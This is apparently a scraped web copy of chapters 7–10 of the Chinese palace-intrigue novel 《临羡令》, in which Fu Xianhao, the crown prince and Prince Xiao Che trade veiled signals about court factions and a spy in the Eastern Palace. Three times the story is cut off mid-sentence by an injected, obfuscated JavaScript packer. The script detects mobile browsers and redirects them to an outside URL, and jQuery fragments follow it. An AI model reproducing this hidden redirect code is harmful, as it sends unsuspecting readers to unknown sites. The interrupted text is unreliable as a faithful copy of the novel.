《临羡令》 7. 第 7 章 “皇兄?” 没有得到回答的萧澈挑眉。 萧瑾承眸色微敛,漫不经心地侧眸看向神色略显疑惑的他,道出来意:“适才前往承天宫,父皇提及你年后即将入朝旁听的事情,唤孤前来和你交谈一二。” 没曾想,人还未踏入集英殿,就听到院中传来的雀跃笑声,拂开干枯树枝越过宫门一瞧,只见两人拉拉扯扯的模样,女子明眸皓齿,宛若春日桃花,一颦一笑间就是满园春色也无法比拟。 也是萧瑾承少见的模样,好似上次见她如此,还是去岁的除夕宫宴,众人于摘星楼观赏满天的烟火,唯独她独自躲在楼宇下的角落中仰天望着满天的烟火,平日里着意板着的容颜笑靥如花,熠熠生辉。 他不疾不徐低眸,道:“就是不知道傅姑娘在此,打扰了二位的雅性。” 此话一出,四周静了下来。 傅羡好眼眸微瞠。 萧瑾承这话其中的语义可大可小,好似还充斥着些许的呛鼻的火药味,一个解释不清楚,天大的误会就会落下来。 她对萧澈并无他意,和他也是相识多年,真论起相熟的程度,他更是自己在宫中少有的故交。 就是现在这种形势之下,傅羡好只愿位于两人中间的那条河流,越宽越好,越汹涌越好,这样任谁前来都无法渡过这条河流。 她下意识地看向萧澈,谁知他也没有要解释的意思,摆出副旁观不语的神态,无奈之下,她顶着那双灼热的视线回答:“奴婢奉娘娘之命前来,将殿下昨日落下的玉石送还。” 萧瑾承挑眉,不置可否。 傅羡好明白这段话搪塞不了他,微微掀起与他对视的目光不由得敛下了几分,不再看他,“如今玉石已经送到了,若殿下无事吩咐,娘娘还在等着奴婢回宫复命。” “跑什么。”久久不语的萧澈抬手擒住欲要当即离开的她,神色自若地笑道:“皇兄特地绕路前来集英殿,臣弟自然是不能够怠慢的,恰好身边伺候的被我遣去公主府,还要麻烦阿姐来给我们看茶。” 这声阿姐叫得傅羡好眼皮子跳了好几跳,“殿下言重了,都是奴婢应该做的。” 萧澈的话直接把她架了起来,就是再想逃也不能逃了。 她垂眸跟着两人的身后,缄默不语。 刺眼的天光掠过男子颀长的身影,映落的影子将她笼罩其中,婉转流连的眸光不经意般滑过萧澈,瞥见男子棱角分明的侧脸时,傅羡好恍惚了下。 他们相识时,都是十一岁的年龄,甚至萧澈还要比她小上两个余月。 是以这些年来,偶尔她也会当作是自家弟弟来对待,日复一日,年复一年,不知何时起他已经不再是多年前那个跟在自己身后,于无人之处悄悄地唤着自己阿姐的萧澈。 太子忽而前来,又恰逢集英殿贴身伺候的宫人不在,宫人们群龙无首,个个稍显手足无措,都下意识地看向傅羡好。 跟在后面的傅羡好步伐落慢了几分,眸子凝着即将踏入正殿的两道身影,低语:“殿下不喜人多,你们都退下吧,这儿有我在。” 宫人们对视了眼,稍显疑惑。 他们在集英殿伺候多年,知晓自家殿下喜欢热闹,不曾听闻过他不喜人多一事,可这话又是与殿下相熟的傅姑娘说的,心中再有疑虑也没有多言,纷纷离去。 奉命来过集英殿多次的傅羡好熟门熟路地前往偏殿,视线一道一道地掠过摆在云宝柜中的匣子,匣子上烙有茶叶之名,其中不乏有信阳毛尖,碧螺春等佳品。 娇嫩细腻的指尖微微点着两道匣盒,她沉吟少顷,取下其中一道匣盒,沏茶。 清香久雅的茶香透过茶盖缝隙吹拂入内,傅羡好端着茶水入内,踏入正殿须时的两人已经落了座,垂眸手谈。 她呈上茶盏。 淡淡的幽雅香气弥漫开来,落下黑子的萧澈抽空端起茶盏,笑道:“果然,还是你懂我。” 执着白子观摩棋局的萧瑾承闻言,掀起眼眸。 他闻出了茶香,淡淡道:“孤也是许久没有喝过银针了。” “别说是皇兄,臣弟也许久没有喝过了。”萧澈品了口,入口的茶水温度适中,沁人心脾,“臣弟不知皇兄喜欢什么,不然就让她给皇兄沏上皇兄心仪的茶水。” “今下盛行的茶香各有千秋,都是上好的佳品,说不上喜欢也说不上讨厌,都还行。”萧瑾承落下茶盏,不疾不徐地开口。 他的话语滴水不漏,傅羡好要不是跟他一起品过几次茶,怕也是被他给忽悠过去了。 这人最是挑剔了。 烫的不喝,凉的不喝,不喜碧螺春,不喜普洱,就连她沏上的君山银针,也在他不喜的茶香之列。 众多名茶中,他独爱白茶。 前些时日进贡的福鼎白茶,集英殿也有,她着意忽视而已。 萧澈笑了笑:“也是,除了这道君山银针,其他的茶叶在臣弟看来都一个样,对人亦是如此。” 萧瑾承看了他一眼,落子,“何人。” “目前还没有,等到了真遇到的那日,也就知道了。”萧澈说着又要端起茶盏,指腹搭上茶盏的刹那间,茶盏就被人取走了。 傅羡好微微摇头,“只是给殿下解解馋而已,不能再喝了。” 闻言,萧澈盯着她看了须臾,无奈应下:“好吧,都听你的。” 熟稔的语气任谁听到都会惊诧。 “你们之间倒是熟稔。”萧瑾承顿了顿,晦暗不明的眸光打量着两人,不紧不慢地落向怵在一旁的傅羡好,“三弟如此语气,孤也是第一次听到。” 不说是对其他人,就是一母同胞的大公主,也不见他如此。 “确实是熟的。”萧澈道。“她刚入宫时,除了母后,第一个见到的人就是我,她也说过,可能是我们之间恰好年龄相仿,所以比较聊得来。” “如此。”萧瑾承若有所思。 萧澈似乎也没有想在这件事上多言,没有循着话题继续下去,而是换了个话题,“皇兄适才提起入朝旁听一事,是何事要与臣弟相谈?” 萧瑾承淡淡地‘嗯’了声,却没有言语。他抬眸,视线悄然与斜对面的女子隔空相对。 四目相对,暗流涌动。 傅羡好了然。 静默几息后,她欠了欠身,道:“奴婢先行告退。” “留下吧。”萧澈并未看到他们之间的暗流,稍稍思忖了须臾就叫住了她,“羡好对我来说不是外人。” 涉及朝堂之事,已经不是能不能用是否为外人来留人旁听。 萧澈比谁都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458406|154179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚这个理由冠冕堂皇,可他需要傅羡好留下来,为的不是想要她听到什么,而是清楚地告诉他人,她是自己的人。 果不其然,正对面的萧瑾承眉宇稍稍扬起,眼神若有似无地扫过两人,半响后,他了然地颔了颔首,算是答应了傅羡好留在这儿。 “如此的话,傅姑娘也别站着了,寻个凳子坐着吧。” 听闻此言的傅羡好稍显迟疑了下,见萧澈递了个眼神过来,示意她莫要担忧时才转身前去寻凳子。 侧过身的瞬间,她心中呼了口气。 搭上萧瑾承这艘船时,傅羡好就已经选择好了站位。 她不是没有想过会有今日的场景,就是此情此景下,难言的愧疚袭上心头。 面对皇后时,她可以坦然自若地演戏,然而在面对萧澈时,到底是少了些许底气。 圆凳就在十步外的地方,搬起圆凳时傅羡好神情恢复如初,涌起的愧疚也被抛之脑后。 她还没有坐下,就听到萧瑾承道: “昨日早朝,张思邈上书状告许川藐视朝堂,身为礼部之人妄图染指刑部办案,今日张思邈就告了病,听闻是昨夜回府的路上摔了一跤,没个十天半个月都无法下榻。” “朝臣听闻此事后,一部分人认为这是天灾,一部分人认为是人祸,于朝堂上争执了起来,此事你以为如何。” 萧澈闻言神色凝重,搁下了手中棋子。 落于下座的傅羡好抬眸,与萧瑾承目光相接,心中了然,这话看似是说给萧澈听的,不如说是说给自己听的。 张思邈出身甚微,蹉跎多年方才任监察司监察御史一职,从五品官职。而许川与他则是南辕北辙,许川师从于江陵陈家,入仕之时不过芝麻小官,短短两载间陈家接连举荐,如今已然是正五品官员。 与其说是两人的争执,不如说是寒门与世家间的纷争。 认为是天灾的,必然是世家,坚持是人祸的,也是认定了张思邈就是回府途中遭到许川派人殴打,这才没法上朝。 傅羡好出身世家,知晓世家间官员举荐之风盛行,入朝后的官员自成一派,且只要一人身居要职,不出三载,朝中重臣多出自同门。 以前的傅家,就是如此。 不过与傅家鼎盛时期不同,如今朝中身居高位的重臣多得以平衡,各世家皆有身居其位之人,非出自世家的朝臣日见增多。 可也恰恰如此,不少世家子弟认为是非世家出身的言官武将挤占了本该属于他们的位置,对他们颇为不满,有甚者更是到了仇恨的地步。 世家与寒门之间的矛盾,渐渐摆上了台面。 集英殿内很安静,安静得只剩下风声。 萧瑾承没有催萧澈回答,端起茶盏呷了口茶水,茶水入喉的刹那,他眉宇微微皱了下,扫了眼荡着波澜的茶水,随手放到了看不见的位置上,眼不见为净。 将这一幕瞧在眼里的傅羡好粲然一笑。 萧瑾承看过来,微挑眉梢,眸光无声地询问她。 -‘故意的?’ 迎着他的目光,傅羡好挑了挑眉,不置可否。 她确实是故意的。 傅羡好撇了眼敛眸思索的萧澈,右手指节微抬,点了手腕三下。 东宫,出了内鬼。 8. 第 8 章 萧瑾承叩着棋盘的指节微滞,凛冽的眸色转瞬即逝,顷刻之间就与往常无异。 白玉茶盏茶香袅袅,君山银针甘醇甜爽的气息萦绕于四周。 萧澈喜君山银针一事,傅羡好知晓,而萧瑾承不喜君山银针独爱白茶,她亦知道。 要说她是故意为之,确实是。 宫人们明知萧澈喜黄茶,可装着今岁夏至进贡的福鼎白茶的锦盒,就明晃晃地摆在云宝柜的正中央。 凝着锦盒须臾,她全当没看到。 沏了合萧澈心意的君山银针端来。 要说这事可大可小。 往小来说是宫人特地将新贡茶叶摆在显眼的位置。往大来说是有人听闻了什么,着意命人将福鼎白茶放到显眼的位置上,不知情的宫人见此,自然会沏上这道茶。 这时候,忽而响起的话语钻进了她的耳中。 “现下这光景,明面上是张思邈与许川之间的私事。”静默多时的萧澈开口,“可若是当做私事处理,怕是会引起寒门不满,更为棘手。” 萧瑾承‘嗯’了声,手中捏着白子,问:“以你之见,应该如何处理。” 闻言,萧澈一时默然,几息后才道:“臣弟愚笨,还请皇兄指点。” 傅羡好神色微变,若有所思。 她听出了萧澈在着意回避了这个话题。 事关世家与寒门间的争夺,也是今上甚是看重的问题,已经不再属于能够交谈一二的话题范畴。 萧澈无意于在二者之间做出取舍。 世家于他有利,而寒门则是于朝堂平稳有利。 萧瑾承节骨分明的指节有一下没一下地玩弄着白子,光影掠过他凌厉的五官,睫毛如同折扇错落有致地映在眼下。 他笑了笑,看向一言不发的傅羡好,问:“傅姑娘觉得,应该如何处理。” 突然被点名的傅羡好愣了下,起身屈膝行礼,神色间尤似漫上少许的惶恐:“事关朝堂,奴婢不敢多言。” 萧澈也被他这话弄得怔忪住。 他到底是年岁尚小,摸不准太子此举意在何为。 “无碍。”萧瑾承开口止住欲言又止的萧澈,“这儿只有我们三人,孤向你承诺,不会有人将今日的对话外传。” 闻言,傅羡好心中失笑,面上却不显,故作为难地抬起眸,看向萧澈。 太子已经道出了承诺二字,要是再推脱,保不齐会惹上什么麻烦,萧澈看了眼揣揣不安的她,只得附和道:“皇兄既然这么说,你但说无妨。” 此话一出,傅羡好抿了抿唇。 她沉吟了半响,不疾不徐道:“奴婢愚见,只觉得应该好好查查。” “傅羡……” “如何查,为何查。” 两道嗓音不约而同的响起,一道嗓音焦躁,欲要止住她不要再说下去,一道嗓音清冽,话语明了。 傅羡好沉默须臾,才道: “若是张大人受伤一事乃许大人所为,纵许他人殴打监察司命官,该如何处理就如何处理,倘若张大人受伤一事并非许大人所为,自然要还他清白,至于那些个散播舆论的官吏,该上门致歉便上门致歉。” 萧澈闻言,松了口气。 她身为世家女,只要不往世家与寒门间的方向言语,说得纵然有错那也是正确的。 不过他是松了一口气了,可傅羡好似乎却没有,低头垂敛的下颌微微绷紧,我见犹怜。 见状,萧澈眸光瞥向身侧。 男子倚着榻背,恣意慵懒,他清冷的神色被缕缕笑意取缔,“傅姑娘所言,与孤不谋而合。” 萧澈愣了下。 “行事若是顾虑过多而将其放之任之,矛盾仍旧留在那儿。”看向他时,萧瑾承脸上的笑淡了几分,他掏出袖中的折子,递过去:“父皇口谕,此事交由你来彻查,就当是入朝为官的第一堂课。” 萧澈尚未回过神来,怔怔地接过折子,翻开看了眼,折子上不仅有落有萧瑾承亲笔的拟办意见,还落了帝王的朱批。 -‘同意彻查’。 他起身领了命,收起折子揣好。 “天色尚早,若皇兄没有其他事情,臣弟先行出宫前往走一趟张府,探望张思邈。” 萧瑾承掌心微抬,示意他自便。 余光瞥见垂眸不语的女子,头一回被赋予朝事的萧澈这才想起傅羡好还在这儿,他前进的步履止住。 集英殿出宫所经过的金羽门与上秋门南辕北辙,几乎是横跨了半座皇宫,而集英殿与上秋门间也隔有几条长街的距离,一来一回怕是要浪费上好长时间。 傅羡好看出他神情中的纠结,更明白他想要做出一番事的心情,笑问:“这儿我来过不少次,还怕我迷路吗?” 她这话说的也不无道理,萧澈想了想,对身侧的兄长拱了拱手,与他们一同走出集英殿。 傅羡好落慢了脚步,亦步亦趋地跟在他们的身后。 途径竹林,于鹅卵石径路上分道而行。 望着少年匆匆离去的身影,冠发随风扬起,多少带着点意气风发之意,此举欲要干成一番大事。 直到他的身影消失视线中,傅羡好才收回了目光。 这时,才发现萧瑾承仍在原地,没有走。 她下意识地环视四下一圈。 “我的人在。”习习冷风吹动萧瑾承腰间玉坠,他侧眸瞧了眼适才萧澈大步流星离开的方向,道:“我说过,你有一次后悔的机会。” 傅羡好环着四周滴溜转的眼眸抖了下。 他说的不清不楚,她却听明白了。 傅羡好失笑:“我有时都忍不住犯嘀咕。” 萧瑾承挑眉:“什么。” “我在想,殿下是不是在我心中下了蛊虫。”傅羡好微微摇头,“要不然,怎么我想些什么,殿下都能一眼看出。” 男子的指尖微不可察地颤了下,也不知是不是被冷风吹的,他面色如常地笑了笑,“好好想想,想好了传人告知我即可。” 说罢他转过身。 傅羡好叫住了他,“殿下请留步。” 萧瑾承停下,眉眼清冷。 匿于暗处的侍卫们并未听清他们的谈话,倏然看到自家主子的神色的刹那,都有些摸不着头脑,与主子交谈的分明就是傅姑娘,为何会露出如此风雨欲来的神情。 他没有回身,背对着傅羡好。 “你说。” 嗓音叫人如沐春风。 看不见他神情的傅羡好静默须臾,道:“我若是后悔了,殿下要当如何。” 萧瑾承蓦然觉得有些烦闷,四下的空气好似不流动那般。 “我们之间的合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458407|154179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作,自然是一笔勾销。”他转过身,面无表情。“往后只要傅姑娘守口如瓶,孤也不会拿你如何。” 是他亲口答应的,给她反悔的机会。 如今她提出,那他便遵守诺言。 他们之间相隔五步之遥,萧瑾承晦暗不明的目光凝着她须臾,眸光敛下时目光也冷了几分,“孤还有要事在身,傅姑娘自便。” “殿下。”傅羡好再次叫住他,笑道:“可是,我也没说我后悔了。” 略带狡黠的笑意循风入耳,萧瑾承漆黑如墨滲着凉意的双眸稍作失神,很快就反应了过来。 他转回身,明眸皓齿的容颜映入眼帘。 女子笑得灿烂又俏皮,半分懊恼后悔的神色都没有。 面对着他稍显狐疑的眼神,傅羡好微挑眉梢,道:“这事就当是抵了昨日殿下吓我的事情吧。” 经她提醒,萧瑾承想起昨日于长信宫提及她与萧澈一事,那时她的面色确实苍白不少,他忍俊不禁地摇摇头,“就不怕我一气之下杀了你?” “以我对殿下的了解。”傅羡好抬手抵着下颌,稍作沉吟,道:“不会。” 不止是她,满朝文武皆知,当今太子殿下最是光风霁月,温润如玉,且答应了的事情向来不会食言,更不是手起刀落间斩杀政敌之人。 萧瑾承挑眉,示意她往下说。 “我是觉得有愧于他。”傅羡好敛下眸中的笑。“可在决定与殿下联手时,我就已经做出了抉择。” 萧澈对她的好,她不会忘记。 可他想要权利,想要傅家。 傅羡好没法给他。 萧澈不是没有试探过她的意思,也曾借着玩笑之话与她提起过几次,而她也以玩笑口吻回绝。 傅家适龄女子近十来个,可傅羡好是最为特殊的那个。 傅家大房掌管整个家族,而她是大房长孙女,出生时上头仅有三位兄长,从小便被视作掌上明珠,也正是如此,她才会奉命入宫。 傅羡好入宫的第一年,她以为那是自己过得最为艰难的一年,殊不知,第二年更是难捱。 为了锉磨她的傲性,皇后默许了彼时的长信宫宫女们凌辱于她,很长一段时间里,阖着门扉的瑶阁都会被外人打开,她的卧榻向来是湿漉漉的。 比她资历深的宫女常常随意寻个不起眼的由头,罚她跪于水池之中,将她推入拥挤狭小暗无天日的禁闭室中,那段时间里,她闭上眼睛耳边就会响起老鼠的吱吱声。 深夜难捱之时写出的一封又一封的家书,也叫人当着她的面烧作灰烬,她被切断了与家中的联系。 后来,她学着示好,学着伪装自己。 第三年,长信宫宫女大清洗,除了贴身伺候的珮云及竹清,所有宫女皆被贬至浣衣处。 由此,傅羡好也真正进入皇后亲授的环节。 自那以后,她的一言一行皆受人监视,如若出现半分失误,长信宫的责令信就会一封又一封地送到娘亲的手中,点名由她的父亲亲启,所言之语皆是指责傅家管教无方,养而不教,沽名钓誉。 思及此,傅羡好微阖眼眸,散去了思绪,道:“踏上这条路开始,我就不会后悔。” 她只能赢,不能输。 而踏上萧瑾承这条船伊始。 傅羡好就没有想过自己会输。 9. 第 9 章 眼前的女子背脊笔直,神情神采飞扬。 皑皑白雪徐徐飘落到她的身上,淡淡的辉光倾洒而下,将她整个人笼罩在光影之中。 萧瑾承静静地凝着那道纤细倩影,微抿的唇梢悄然上扬,幽深不可澈的眸中满是她的身影。 须臾,他道:“孤不会让你输的。” 话音落下的顷刻之间,女子笑靥如花,宛若寒天下唯一盛放的花苞,明眸皓齿的模样叫人心神微动。 “那我就恭候殿下的好消息了。”傅羡好微微欠身,不过说起这个,她也确实想起了件事,回眸瞥了眼被茂密竹林挡住的集英殿,道:“宫中内鬼的事情,殿下打算如何处理。” “查杀。” 冷冽如料峭寒风的嗓音响起。 傅羡好稍稍仰首,对上男子那双深邃温和的眼眸,仿佛适才听到的话语不过是她的幻觉,“萧澈不喜饮茶,唯一喜欢的不过是君山银针。” 也恰恰是因为他的喜好直截了当地摆在明面上,是以司膳局也多会将进贡的君山银针送来,其他茶叶少之又少,更别提是近两年因洪水泛滥成灾导致少见的福鼎白茶。 傅羡好记得,今岁进贡的福鼎白茶,分别送往了承天宫、福阳宫、东宫,以及陶贵妃所居的昭和宫,还剩下小部分用于留存以备不时之需。 “要么是殿下宫中出了内鬼,要么就是有人故意而为之。”傅羡好一一排除了其他的可能性,“以宫中的行事风格,倘若此茶为圣上赏赐,定然满宫上下皆知。” “若是福阳宫赏赐,殿下应当是最早知晓的。”就不会在看到她的手势时,神色忽而冷下,“至于昭和宫— —” 傅羡好笑了笑,“概率为零。” 昭和宫与长信宫不对付,是满宫皆知的事情。 笑着笑着,她眼眸渐渐冷了下来,“也就只剩下殿下身边的人。”沉默须臾,她眸底愈发的清冷,冷声道:“以及我身边的人。” 就好似她今日刚离开长信宫,身边的人后脚就入宫殿回禀。 傅羡好敛了敛神色,眼眸再次掀起时,一如往常,“不过她的可能性小,毕竟她也无从得知我和殿下的事宜,思来想去,也就只剩下殿下宫中的人。” 萧瑾承听她一点一点地梳理着可能性,不放过半分,“是我宫中的事情,剩下的交给我就行。” 傅羡好颔首,她也没想着插手东宫的事情。 他们是盟友也是独立个体,彼此之间尽到提醒的义务就行。 “你呢。”萧瑾承问。 傅羡好疑惑:“什么?” “你身边的人,”萧瑾承眼眸微眯,“需要孤帮忙处理吗?” “……”傅羡好抿了抿唇,眸光瞥向空无一人的径路上,道:“我留着她,还有用。” 哪天没用了,她会亲自动手。 就好似那群曾经欺凌过她的宫女,到了该动手的时候,她也没有迟疑过。 萧瑾承若有所思。 也想到了三年前长信宫那场大清洗。 看似只是因为宫女照看不力导致长信宫偏殿走水,故而导致除正殿伺候的两人外,其余人皆被贬入浣衣处。 实则— — 萧瑾承扫了眼伫立于寒风中的身影,薄唇微扬,“是我冒犯了,低估你的能力。” “殿下言重了。”傅羡好知道他指的是什么,她不是什么不识好歹的人,“殿下出手相助,自然是会将此事办得神不知鬼不觉,若是其他事情,我不介意麻烦殿下。” 只是这件事,她想自己来。 如今为时尚早,傅羡好无意在这件事上下功夫,静默一息,道:“时候不早,我该回去了。” 萧澈离宫的消息约莫已经传到长信宫,自己再不回去,宫中的那位就要起疑了。 眼前的男子一言不发,清冽幽暗的眸子荡着难以察觉的波澜,傅羡好微微挑眉,不明所以地看着他,一时之间走也不是不走也不是。 沉默了会儿,她欠了欠身。 顶着那道灼热的眸色迈开步伐,经过他的身侧的刹那,手腕被擒住。 傅羡好脸上闪过道‘果不其然’的神色,侧眸仰头静静地看了他些许时候,灵光忽而一闪,试探性道:“我与他之间真的没有什么,男女授受不亲,他不该抓我的手腕— —” 她微顿少顷,垂眸扫了眼男子骨节分明的修长手指,他似乎用了点儿劲儿,手背上绷紧的青筋尽显,可落到自己的手上时,好似没有那么大的力度。 “殿下也不该抓我的手腕的。”她不疾不徐地接着道,“我与他相识多年,知晓他喜欢什么很正常,就好像我与殿下相识不过一年多,我亦知晓殿下的喜好。” 傅羡好原以为自己这么说完,萧瑾承多少都会理解一些,谁知随着她的话语溢出,他脸上的神色愈发的叫人难懂。 见状,她悄然闭上了嘴。 料峭寒冬下,男子晦暗不明的神色衬得四下愈发的严寒,伴随着飘雪呼啸而过的寒风刺骨无比,萧瑾承眼眸一寸未挪地凝着女子俏丽容颜,她眼神中的防备全无,就这般单纯而又不解地与自己对视。 他呼吸沉了几分。 再一次重申,不要妄图踏过那条河流,她有自己的路要走。 只稍片刻,四下的寒风忽而散去,吹拂而来的恰似春日暖风,将傅羡好层层包裹其中,她轻轻地抽动了下手腕。 都没有用劲儿,抽出来了。 她听到萧瑾承清冽中带着点久未开口的沙哑嗓音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458408|154179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“年关在即,宫中要筹备的宴会不少,注意身体。” 男子的话克制而又疏离。 傅羡好点了点头,“好。” 说罢她默默地往前走了几步,可谁知又是这几步,下一瞬手腕忽而一紧,又被那道熟悉的气息拽了回去。 一来二去的,傅羡好也被搞得茫然,正欲要询问时,腰身忽而被男子温热的大掌覆住,将她抵在了人工雕刻而出的巨大石块后,若不是有他的手抵着,定是要嗑出印子来。 傅羡好抬头,瞥见男子凛起的神色时,心弦微微绷起。 来人了。 萧瑾承指腹微抬,隐于深处的暗卫悄然而落。 他垂眸睨了眼微微蹙眉的女子,心中隐隐闪过些许摸不清捉不住的难耐,闪瞬即逝。 指腹抵上女子勾勒有致的眉梢时,隔空相对的目光都稍稍颤抖了下,欲言又止。 彼此间温热的呼吸于寒冬下交织缠绕。 傅羡好垂在身侧的手不自觉地捏紧,她看见男子上下滚动的喉骨,四下真的太静了,静到耳畔中依稀能够听到稍许叫人泛热的吞咽声。 她微抿了下唇瓣,欲要往后退一步。 可退无可退。 握着手腕的掌心滚烫,烫得傅羡好耳垂都热了几分,不多时就蔓延至了双颊处。 娇嫩欲滴的唇瓣恰似悄然绽放的桃花,叫人挪不开眼。 萧瑾承眸光暗了几分。 对视须臾,他克制地掀起眼眸,瞥见为首暗卫颔首的神色时,他松开那道柔若无骨的腕部,往后退了一步。 冰寒的气息霎时间袭来,吹散了适才的闷热。 静了几瞬,傅羡好侧开了目光,低语:“走了吗?” 萧瑾承颔首。 傅羡好舒了口气,收回的视线再次于半空中撞上他的目光,平日里的清明在此刻荡然无存,多的是她看不懂说不明的色彩。 就算是如此,她依旧敏锐地察觉到不能多问。 “我— —”傅羡好思忖少许,看了眼身后,“我先走了?” 萧瑾承不置可否。 傅羡好迟疑了半会儿,确定他没有别的话要说,也不会在她离开时再次拽上自己的手腕,转身离去。 望着那道头也不回的倩影,萧瑾承气息沉沉。 直到那道身影消失于视野中,萧瑾承才敛下了目光,再掀开时眸中满是清明。 等候于暗处多时的影诀走上前,跟上自家主子离去的身影,冷风习习,薄雾扬起,他后背无端起了层寒栗。 宛若瞧见一道隐于迷雾下的锁链,拴着自家主子的手腕,锁链的另一端,是道道枷锁,将其困在其中,仔细端详下,依稀睨见拴着锁链的架子底部,将将破土而出。 10. 第 10 章 诚如萧瑾承所言,如今年关将近,宫中需要筹办的宴会繁多,单单是由长信宫主导的宫宴就有三场。 其一是家宴,其二是后妃宴席,其三则是宴请朝臣命妇。 身为长信宫女官,傅羡好更是忙得脚不沾地,常常是深夜子时三刻才回到阁中,翌日寅时三刻就要踏着晨露前往六局。 而这段时日中,她也没有再见过萧瑾承。 不过于六局筹备宫宴时,偶能听闻他的消息,说是福阳宫欲要借着年关宫宴为其相看世家贵女。 “听闻太后娘娘曾多次劝说殿下娶妻生子,被殿下回绝了多次,这回也不打算征求殿下的意见,想着‘悄悄’地把这事提前办了。” “悄悄?”司仪局的陈掌宾掩嘴轻笑,“你我都知道的事情,还算什么悄悄。” “你懂什么。”与她相谈的是司仪局的另一位掌宾,姓冯,“说是悄悄,不过娘娘到底是希望消息传到殿下耳边,若是— —。” 陈掌宾余光瞥见来人,悄悄扯了扯她的衣袖,“傅姑娘来了。” 欲要八卦的冯掌宾闻言须时收住话,循着陈掌宾的视线看向院中,傅羡好身姿挺拔,娇俏容颜白璧无瑕,举手投足间端方有礼,更有玲珑剔透心,就是对待品阶低于她的宫人们,也没有半分低看之意。 若真要说有什么缺点,便是为人太过于好了些。 三载前长信宫宫女被审时,有位宫女为了减免针刺之刑吐出众人私下联合虐待傅羡好一事,一时之间满宫上下哗然。 傅羡好入宫与她们等人不同,她入宫乃皇后娘娘传召,年岁一到就要出宫的,且本家又是声名远扬的姑苏傅家,竟敢有人于皇后娘娘眼皮子底下欺凌她。 不过有些事情底下的宫人看不明白,不代表其他人看不懂,只是谁也不敢多言,就连向来与长信宫不和的昭和宫,在这件事上都选择了漠视寡言。 上头如此,下头更加不敢多言。 凝着少女莞尔一笑的侧颜,冯掌宾无言地摇了摇头,心中闪过些许念头,侧眸看向同僚。 眸光对上的刹那,陈掌宾就知晓她在想什么,低语道:“你疯了还是我疯了,将她的名字纳入册中。” 冯掌宾蹙起眉,扫了眼宴请的宾客名录,指尖微点某个名字,道:“傅家二姑娘都可以,傅姑娘为何不行。” “你是真不明白还是假不明白。”陈掌宾笑容淡淡地合起名单,“收起你那不必要的怜悯之心,小心被卷入其中。” 俩人的讨论声很小,小得除了她们谁也听不到,而视线不然。 傅羡好踏入司仪局没多久,就感受到锁在自己身上的灼热目光,与尚仪交谈时伺机循去,瞥见了殿中低语的两位掌宾。 今日她前来司仪局,只是将皇后亲题宫宴宾客名单给到尚仪,“大年初八那日,还要麻烦两位大人多多费心。” “姑娘客气了。”掌司宾司赞的何尚仪接过名录册子,她翻开扫了一眼,徐家王家傅家均在名列,“姑娘今岁还是不打算回家探亲吗?” 按例来说,六宫女官及长信宫女官两年内就有一次归家探亲的资格,傅羡好入宫已经五载之久,一次都没有离开过深宫。 “多谢大人关心。”她客气地笑了笑,“今岁娘亲会带着妹妹入宫,宫中相见即可。” 前四载皇后以傅家远在姑苏为由,并未宴请傅家,今日收到名录看到傅家二字时,傅羡好都以为是自己看错了,看了好几看,才相信了今岁娘亲和妹妹会入宫参宴一事。 是以她现下的心情也是真的很好,美妙到可以原谅所有的一切。 “说的也是。”何尚仪做了个请的手势,示意傅羡好入殿中小坐,“不然姑娘跑一趟姑苏也是舟车劳顿。” “大人无需如此客气。”傅羡好笑着婉拒,“我还要前往司膳局和司服局等地,就不久留了。” 何尚仪也不强留,送她离开司仪局。 傅羡好离开司仪局,马不停蹄地前往司膳局和司服局。 等她真正地闲下来,也已经是腊月二八,距离除夕夜也就只剩下两日。 福阳宫传召时,傅羡好正指引着宫人换上年岁宫灯,还是竹清前来寻她入殿。 还未走入正殿,就听到殿中传来熟悉的嗓音。 是太后娘娘身边伺候的宫女,兰絮姑姑。 与兰絮交谈的皇后瞥见门扉处的身影,笑着招了招手,道:“她来了。” 傅羡好眸中透着些许不解,朝着皇后欠身行礼后,方才得知是太后遣了自己身边的兰絮姑姑前来寻她前往福阳宫。 随着兰絮姑姑离开时,她微微侧眸,与皇后对视了眼,也看清了皇后眸中的狐疑。 谁都不知道,福阳宫为何会寻自己过去。 傅羡好入宫五载,独自前往福阳宫的次数屈指可数,太后遣人前来传唤更是头一遭。 福阳宫位于宫殿东方位深处,与位于西方位的长信宫隔着百花苑,遥遥相望。 步行近两刻钟的时间,才看清福阳宫匾牌。 踏入福阳宫前,一直走在前头的兰絮停下步伐,稍稍给傅羡好让了身位,道:“姑娘,请。” 傅羡好眼眸微眯,余光快速地打量了下兰絮姑姑面上的神色,并未看出有何反常之处,她不动声色地往前走,“多谢姑姑。” 临近除夕,阖宫上下烟火气息旺盛,相比起来,福阳宫要静上许多。 